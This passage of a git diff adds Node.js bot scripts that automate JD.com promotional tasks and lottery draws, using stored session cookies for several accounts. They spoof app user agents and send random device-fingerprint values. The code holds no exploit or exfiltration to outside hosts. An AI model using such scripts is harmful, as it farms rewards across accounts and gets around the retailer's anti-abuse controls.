}; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } + diff --git a/jd_sxLottery.js b/jd_sxLottery.js new file mode 100644 index 0000000..19cb9d7 --- /dev/null +++ b/jd_sxLottery.js @@ -0,0 +1,416 @@ +/* +京东生鲜每日抽奖,可抽奖获得京豆, +活动入口:京东生鲜每日抽奖 +by:小手冰凉 +交流群:https://t.me/jdPLA2 +脚本更新时间:2021-12-31 +脚本兼容: Node.js +新手写脚本,难免有bug,能用且用。 +=========================== +[task_local] +#京东生鲜每日抽奖 +10 7 * * * jd jd_sxLottery.js, tag=京东生鲜每日抽奖, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_sxLottery.png, enabled=true + */ +const $ = new Env('京东生鲜每日抽奖'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +$.configCode = ""; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + await getCode(); //获取任务 + if ($.configCode) { + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdmodule(); + await showMsg(); + } + } + } else { + console.log('今天没有签到活动拉'); + } + +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +function showMsg() { + return new Promise(resolve => { + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + resolve() + }) +} + + +async function jdmodule() { + let runTime = 0; + do { + await getinfo(); //获取任务 + $.hasFinish = true; + await run(); + runTime++; + } while (!$.hasFinish && runTime < 6); + await getinfo(); + console.log("开始抽奖"); + for (let x = 0; x < $.chanceLeft; x++) { + await join(); + await $.wait(1500) + } +} + +//运行 +async function run() { + try { + for (let vo of $.taskinfo) { + if (vo.hasFinish === true) { + // console.log(`任务${vo.taskName},已完成`); + continue; + } + console.log(`开始做${vo.taskName}:${vo.taskItem.itemName}`); + if (vo.taskName == '每日签到') { + await doTask(vo.taskType, vo.taskItem.itemId, vo.id); + await getReward(vo.taskType, vo.taskItem.itemId, vo.id); + } + if (vo.taskType == 3) { + await getJump(vo.taskItem.itemLink); + await $.wait(1000 * vo.viewTime) + await doTask(vo.taskType, vo.taskItem.itemId, vo.id); + await getReward(vo.taskType, vo.taskItem.itemId, vo.id); + } + + $.hasFinish = false; + } + } catch (e) { + console.log(e); + } +} + + +// 获取任务 +function getCode() { + return new Promise(resolve => { + $.get({ + url: `https://prodev.m.jd.com/mall/active/2Rkjx8aT5eKaQnUzn8dwcR6jNanj/index.html`, + headers: { + "Connection": "keep-alive", + "Accept-Encoding": "gzip, deflate, br", + "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", + 'User-Agent': 'JD4iPhone/167874 (iPhone; iOS 14.2; Scale/3.00)', + 'Cookie': cookie, + "Host": "prodev.m.jd.com", + "Referer": "", + "Accept-Language": "zh-Hans-CN;q=1, en-CN;q=0.9", + "Accept": "*/*" + }, + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getinfo请求失败,请检查网路重试`) + } else { + $.configCode = resp.body.match(/"activityCode":"(.*?)"/)[1] + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +// 获取任务 +function getinfo() { + return new Promise(resolve => { + $.get({ + url: `https://jdjoy.jd.com/module/task/draw/get?configCode=${$.configCode}&unionCardCode=`, + headers: { + 'Host': 'jdjoy.jd.com', + 'accept': '*/*', + 'content-type': 'application/json', + "Referer": "https://prodev.m.jd.com/mall/active/2Rkjx8aT5eKaQnUzn8dwcR6jNanj/index.html", + "origin": "https://prodev.m.jd.com", + 'X-Requested-With': 'com.jingdong.app.mall', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'accept-language': 'zh-Hans-CN;q=1', + 'cookie': cookie + }, + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getinfo请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + $.chanceLeft = data.data.chanceLeft; + if (data.success == true) { + $.taskinfo = data.data.taskConfig + } else { + console.log(data.errorMessage); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +//抽奖 +function join() { + return new Promise(async (resolve) => { + $.get({ + url: `https://jdjoy.jd.com/module/task/draw/join?configCode=${$.configCode}&fp=${randomWord(false, 32, 32)}&eid=`, + headers: { + 'Host': 'jdjoy.jd.com', + 'accept': '*/*', + 'content-type': 'application/json', + "Referer": "https://prodev.m.jd.com/mall/active/2Rkjx8aT5eKaQnUzn8dwcR6jNanj/index.html", + "origin": "https://prodev.m.jd.com", + 'X-Requested-With': 'com.jingdong.app.mall', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'accept-language': 'zh-Hans-CN;q=1', + 'cookie': cookie + }, + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`join请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.success == true) { + console.log(`抽奖结果:${data.data.rewardName}`); + } + else { + console.log(data.errorMessage); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +//做任务 +function doTask(taskType, itemId, taskid) { + return new Promise(resolve => { + let options = taskPostUrl('doTask', `{"configCode":"${$.configCode}","taskType":${taskType},"itemId":"${itemId}","taskId":${taskid}}`) + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`doTask 请求失败,请检查网路重试`); + } else { + data = JSON.parse(data); + if (data.success == true) { + console.log("任务成功"); + } else { + console.log(data.errorMessage); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + + +//领取任务奖励 +function getReward(taskType, itemId, taskid) { + return new Promise(resolve => { + let options = taskPostUrl('getReward', `{"configCode":"${$.configCode}","taskType":${taskType},"itemId":"${itemId}","taskId":${taskid}}`) + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`getReward 请求失败,请检查网路重试`); + } else { + data = JSON.parse(data); + if (data.success == true) { + console.log("任务奖励领取成功"); + } else { + console.log(data.errorMessage); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +function getJump(url2) { + return new Promise(resolve => { + $.get({ + url: url2, + headers: { + 'Host': 'pro.m.jd.com', + 'accept': '*/*', + 'content-type': 'application/x-www-form-urlencoded', + 'referer': '', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'accept-language': 'zh-Hans-CN;q=1', + 'cookie': cookie + }, + }, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`getJump API请求失败,请检查网路重试`) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function taskPostUrl(function_id, body = {}) { + return { + url: `https://jdjoy.jd.com/module/task/draw/${function_id}`, + body: `${(body)}`, + headers: { + "Accept": "application/json, text/plain, */*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/json", + "Host": "jdjoy.jd.com", + "x-requested-with": "com.jingdong.app.mall", + "Referer": "https://prodev.m.jd.com/mall/active/2Rkjx8aT5eKaQnUzn8dwcR6jNanj/index.html", + "origin": "https://prodev.m.jd.com", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +function randomWord(randomFlag, min, max) { + var str = "", + range = min, + arr = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']; + + // 随机产生 + if (randomFlag) { + range = Math.round(Math.random() * (max - min)) + min; + } + for (var i = 0; i < range; i++) { + pos = Math.round(Math.random() * (arr.length - 1)); + str += arr[pos]; + } + return str; +} +// prettier-ignore +function Env(t, e) { class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_tanwei.js b/jd_tanwei.js new file mode 100644 index 0000000..1c6d1fb --- /dev/null +++ b/jd_tanwei.js @@ -0,0 +1,254 @@ + +/* +探味奇遇记 +活动入口:美食馆-右侧悬浮 +活动时间:5月17-6月16 +宝箱陆续开放 +来自:6dylan6/jdpro +31 0,13 26-31,1-16 5,6 * jd_tanwei.js + */ + +const $ = new Env('探味奇遇记'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message = ''; +let encryptProjectId = 'YnxEZcUsgLzE5dukqb7vrmjPnaN'; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + 